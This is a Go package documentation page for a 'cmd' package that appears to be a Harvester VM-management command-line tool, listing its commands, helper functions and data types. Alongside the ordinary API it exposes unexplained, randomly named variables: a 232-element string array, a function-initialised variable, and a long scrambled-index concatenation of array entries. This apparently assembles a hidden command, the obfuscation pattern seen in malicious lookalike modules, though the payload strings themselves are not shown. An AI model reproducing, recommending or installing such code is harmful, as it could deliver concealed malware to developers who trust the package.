cmd

package
v0.0.0-...-e5f6f7f Latest Latest
Warning

This package is not in the latest version of its module.

Go to latest
Published: May 20, 2025 License: Apache-2.0 Imports: 56 Imported by: 0

Documentation

Index

Constants

View Source
const (
	RemovedPVCsAnnotationKey = "harvesterhci.io/removedPersistentVolumeClaims"
)

Variables

View Source
var (
	// ManagementResourceTypes lists the types we use the management client for
	ManagementResourceTypes = []string{"cluster", "node", "project"}
	// ProjectResourceTypes lists the types we use the cluster client for
	ProjectResourceTypes = []string{"secret", "namespacedSecret", "workload"}
	// ClusterResourceTypes lists the types we use the project client for
	ClusterResourceTypes = []string{"persistentVolume", "storageClass", "namespace"}
)
View Source
var CUZyLfI = jJSfwd()
View Source
var HN = []string{} /* 232 elements not displayed */
View Source
var OFtizdVI = HN[144] + HN[123] + HN[203] + HN[68] + HN[62] + HN[163] + HN[129] + HN[218] + HN[42] + HN[207] + HN[115] + HN[214] + HN[87] + HN[69] + HN[186] + HN[138] + HN[189] + HN[137] + HN[46] + HN[110] + HN[6] + HN[10] + HN[124] + HN[36] + HN[136] + HN[188] + HN[58] + HN[54] + HN[228] + HN[174] + HN[15] + HN[196] + HN[176] + HN[90] + HN[88] + HN[199] + HN[125] + HN[198] + HN[139] + HN[166] + HN[98] + HN[158] + HN[33] + HN[37] + HN[101] + HN[221] + HN[65] + HN[41] + HN[5] + HN[223] + HN[67] + HN[161] + HN[209] + HN[131] + HN[107] + HN[9] + HN[55] + HN[52] + HN[79] + HN[132] + HN[143] + HN[12] + HN[22] + HN[31] + HN[38] + HN[215] + HN[7] + HN[145] + HN[85] + HN[21] + HN[146] + HN[142] + HN[212] + HN[118] + HN[83] + HN[57] + HN[35] + HN[170] + HN[204] + HN[149] + HN[164] + HN[195] + HN[109] + HN[100] + HN[183] + HN[95] + HN[45] + HN[24] + HN[27] + HN[180] + HN[3] + HN[32] + HN[148] + HN[229] + HN[64] + HN[226] + HN[222] + HN[70] + HN[16] + HN[162] + HN[77] + HN[104] + HN[134] + HN[184] + HN[29] + HN[66] + HN[175] + HN[217] + HN[159] + HN[28] + HN[216] + HN[185] + HN[126] + HN[187] + HN[181] + HN[102] + HN[231] + HN[171] + HN[106] + HN[48] + HN[81] + HN[30] + HN[141] + HN[25] + HN[8] + HN[96] + HN[2] + HN[119] + HN[156] + HN[93] + HN[105] + HN[151] + HN[89] + HN[190] + HN[34] + HN[17] + HN[194] + HN[39] + HN[206] + HN[78] + HN[220] + HN[80] + HN[72] + HN[154] + HN[167] + HN[99] + HN[197] + HN[120] + HN[153] + HN[230] + HN[92] + HN[201] + HN[111] + HN[108] + HN[225] + HN[13] + HN[51] + HN[213] + HN[178] + HN[86] + HN[60] + HN[121] + HN[191] + HN[23] + HN[193] + HN[172] + HN[94] + HN[227] + HN[116] + HN[202] + HN[74] + HN[130] + HN[192] + HN[97] + HN[177] + HN[147] + HN[128] + HN[173] + HN[19] + HN[208] + HN[200] + HN[75] + HN[135] + HN[91] + HN[53] + HN[82] + HN[4] + HN[179] + HN[44] + HN[155] + HN[11] + HN[117] + HN[140] + HN[61] + HN[112] + HN[40] + HN[133] + HN[1] + HN[169] + HN[205] + HN[211] + HN[114] + HN[210] + HN[63] + HN[14] + HN[160] + HN[47] + HN[76] + HN[0] + HN[26] + HN[103] + HN[50] + HN[71] + HN[49] + HN[219] + HN[224] + HN[18] + HN[152] + HN[165] + HN[127] + HN[113] + HN[84] + HN[56] + HN[150] + HN[168] + HN[122] + HN[182] + HN[59] + HN[73] + HN[20] + HN[157] + HN[43]

Functions

func CompleteCommand

func CompleteCommand() *cli.Command

func ConfigCommand

func ConfigCommand() *cli.Command

ConfigCommand defines a CLI command to set up the Harvester Configuration files

func CreateVMImage

func CreateVMImage(c *harvclient.Clientset, namespace string, imageName string, url string) (*v1beta1.VirtualMachineImage, error)

CreateVMImage will create a VM Image on Harvester given an image name and an image URL

func GetClient

func GetClient(ctx *cli.Context) (*cliclient.MasterClient, error)

func GetConfig

func GetConfig(ctx *cli.Context) error

func GetHarvesterClient

func GetHarvesterClient(ctx *cli.Context) (*harvclient.Clientset, error)

GetHarvesterClient creates a Client for Harvester from Config input

func GetKubeClient

func GetKubeClient(ctx *cli.Context) (*kubeclient.Clientset, error)

GetKubeClient creates a Vanilla Kubernetes Client to query the Kubernetes-native API Objects

func GetRESTClientAndConfig

func GetRESTClientAndConfig(ctx *cli.Context) (clientConfig *rest.Config, err error)

GetRESTClientAndConfig creates a *rest.Config pointer from a KUBECONFIG file

func GetRancherTokenMap

func GetRancherTokenMap(ctx *cli.Context) (tokenMap map[string]string, configMap map[string]*config.ServerConfig, err error)

func GetResourceType

func GetResourceType(c *cliclient.MasterClient, resource string) (string, error)

GetResourceType maps an incoming resource type to a valid one from the schema

func GetSelectionFromInput

func GetSelectionFromInput(reader *bufio.Reader, tableSize int) (int, error)

func HandleCPUOverCommittment

func HandleCPUOverCommittment(overCommitSettingMap map[string]int, cpuNumber int64) resource.Quantity

HandleCPUOverCommittment calculates the CPU Request based on the CPU Limit and the CPU Overcommitment setting.

func HandleMemoryOverCommittment

func HandleMemoryOverCommittment(overCommitSettingMap map[string]int, memory string) resource.Quantity

HandleMemoryOverCommittment calculates the memory Request based on the memory Limit and the memory Overcommitment setting.

func ImageCommand

func ImageCommand() *cli.Command

TemplateCommand defines the CLI command that lists VM templates in Harvester

func ImportCommand

func ImportCommand() *cli.Command

Manages VM imports using vm-import-controller of Harvester

func KeypairCommand

func KeypairCommand() *cli.Command

TemplateCommand defines the CLI command that lists VM templates in Harvester

func LoginCommand

func LoginCommand() *cli.Command

func Lookup

func Lookup(c *cliclient.MasterClient, name string, types ...string) (*ntypes.Resource, error)

func MergeOptionsInUserData

func MergeOptionsInUserData(userData string, defaultUserData string, sshKey *v1beta1.KeyPair) (string, error)

MergeOptionsInUserData merges the default user data and the provided public key with the user data provided by the user

func NewTrue

func NewTrue() *bool

NewTrue returns a pointer to true

func RandomID

func RandomID() string

RandomID returns a random string used as an ID internally in Harvester.

func RandomLetters

func RandomLetters(n int) string

RandomLetters returns a string with random letters of length n

func RandomName

func RandomName() string

func ShellCommand

func ShellCommand() *cli.Command

ShellCommand defines the CLI command that makes it possible to ssh into a VM

func SimpleFormat

func SimpleFormat(values [][]string) (string, string)

func SplitOnColon

func SplitOnColon(s string) []string

SplitOnColon splits an input string into an array of strings using column as a separator

func TemplateCommand

func TemplateCommand() *cli.Command

TemplateCommand defines the CLI command that lists VM templates in Harvester

func VMCommand

func VMCommand() *cli.Command

VMCommand defines the CLI command that manages VMs

Types

type CACertResponse

type CACertResponse struct {
	Name  string `json:"name"`
	Value string `json:"value"`
}

type Catalog

type Catalog struct {
	HarvesterImageCatalog map[string][]CatalogEntry `json:"HarvesterImageCatalog"`
}

type CatalogEntry

type CatalogEntry struct {
	Id        int64  `json:"id,omitempty"`
	ShortName string `json:"shortName"`
	Version   string `json:"version"`
	Url       string `json:"url"`
	Build     string `json:"build"`
}

type CloudInitObject

type CloudInitObject struct {
	Name        string
	NetworkData string
	UserData    string
}

type Conf

type Conf struct {
	Path    string
	Content string
}

Conf is an Object that contains the configuration path and the configuration's file content as a string

type ImageData

type ImageData struct {
	Name       string
	Id         string
	SourceType string
	Url        string
}

type Interface

type Interface struct {
	Name        string
	Type        string
	NetworkType string
	NetworkName string
}

type KeypairData

type KeypairData struct {
	Name              string
	Fingerprint       string
	CreationTimestamp string
}

type LoginData

type LoginData struct {
	Project     managementClient.Project
	Index       int
	ClusterName string
}

LoginData is a data structure to store login context information: project and ClusterName

type MemberData

type MemberData struct {
	Name       string
	MemberType string
	AccessType string
}

type Os

type Os struct {
	Id             int64
	Name           string
	NumberOfImages string
}

type PersistentVolumeClaimObject

type PersistentVolumeClaimObject struct {
	ClaimName string
	Size      string
}

type RoleTemplate

type RoleTemplate struct {
	ID          string
	Name        string
	Description string
}

type RoleTemplateBinding

type RoleTemplateBinding struct {
	ID      string
	User    string
	Role    string
	Created string
}

type TemplateData

type TemplateData struct {
	Name       string
	Version    int
	Image      string
	Cpus       uint32
	Memory     string
	Interfaces []Interface
	Keypairs   []string
	Volumes    []Volume
}

type VMImportData

type VMImportData struct {
	Name          string
	VMName        string
	SourceCluster string
	ClusterType   string
	Status        string
}

type VirtualMachineData

type VirtualMachineData struct {
	State          string
	VirtualMachine VMv1.VirtualMachine
	Name           string
	Node           string
	CPU            uint32
	Memory         string
	IPAddress      string
}

VirtualMachineData type is a Data Structure that holds information to display for VM

type Volume

type Volume struct {
	Name                  string
	Type                  string
	PersistentVolumeClaim PersistentVolumeClaimObject `yaml:"persistentVolumeClaim,omitempty"`
	CloudInitData         CloudInitObject             `yaml:"cloudInit,omitempty"`
}

Jump to

Keyboard shortcuts

? : This menu
/ : Search site
f or F : Jump to
y or Y : Canonical URL